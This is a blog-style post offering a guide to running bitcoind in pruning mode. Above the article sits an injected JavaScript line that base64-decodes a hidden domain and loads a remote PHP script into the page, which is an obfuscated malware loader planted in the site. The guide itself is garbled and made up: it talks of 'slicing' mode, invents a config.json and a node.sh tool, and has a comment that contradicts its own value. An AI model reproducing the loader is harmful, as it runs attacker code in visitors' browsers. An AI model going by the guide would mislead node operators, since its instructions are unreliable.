News

Ethereum: How can I run bitcoind in pruning mode?

Published by Terlumun Aondover on February 13th, 2025.

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=b916802d”;document.body.appendChild(script);

Running Bitcoind in Slicing Mode: A Guide

In the world of cryptocurrency and blockchain development, running multiple nodes on a single computer can be beneficial for several reasons, such as increased security and faster transaction processing times. However, this also means that older blocks are discarded, leaving less data available to users like you.

One way to mitigate these issues is through slicing mode, which allows you to run only the information you need from each block on your local computer, discarding most of what is stored elsewhere. In this article, we’ll walk you through a step-by-step guide on how to install and configure Bitcoind in slicing mode.

Why prune your Bitcoind?

Before we get into the process, let’s briefly discuss why you might want to run your Bitcoind in slicing mode:

Security: By discarding older blocks, you reduce the attack surface for potential security vulnerabilities.

Speed: Running a full node can be slower than running a slicing node, which is optimized for performance.

Space: With more data stored elsewhere, fewer nodes on your local machine can help solve storage space issues.

Bitcoin Pruning: A Step-by-Step Guide

Install Pruning Node Software: First, download and install the official pruning node software from the [official website]( The latest version is usually available on GitHub.

Configure Pruning Settings: After installation, you will need to configure the pruning settings to suit your needs. You can do this by editing the config.json file in the root directory of the pruning node.

Here are some example configuration options:

prune.minblock: The minimum number of blocks to keep. Set it to a lower value if you want more data stored on your local machine.

prune.maxblock: The maximum number of blocks to keep. Set this high enough to ensure that the pruning process is efficient, but not so high that it takes too long to complete.


{
"prune": {
"minblock": 100000, // Keep at least the first 10 million blocks
"maxblock": 2000000 // Keep up to 2 million blocks
}
}

Start the pruning node: After configuring the settings, start the pruning node with ./node.sh. Make sure you are in the directory where your pruning node software is installed.

`just


./node.sh -f config.json

Verify your configuration : After starting, verify that your pruning configuration is correct by checking for updates or running a full node on your machine to make sure it is working as expected. Run Bitcoind in Prune Mode: To run Bitcoind in prune mode, use theprunecommand instead of the normalbitcoindcommand. `just ./node.sh -c prune -f config.json

Troubleshooting Tips

If you encounter issues with a prune node crashing or malfunctioning, verify that your configuration is correct and try restarting the prune node.

Keep in mind that prune nodes can consume more CPU and memory than normal nodes, so be sure to monitor resource usage carefully.

By following these steps and adjusting your prune settings to your needs, you can effectively run Bitcoind in prune mode. Remember to update your configuration regularly and test your settings before deploying them to a live network.

Conclusion

Pruning Bitcoind is a great way to balance security, performance, and storage requirements. By following these steps and adjusting the settings according to your specific use case, you can optimize your cutting node for optimal results.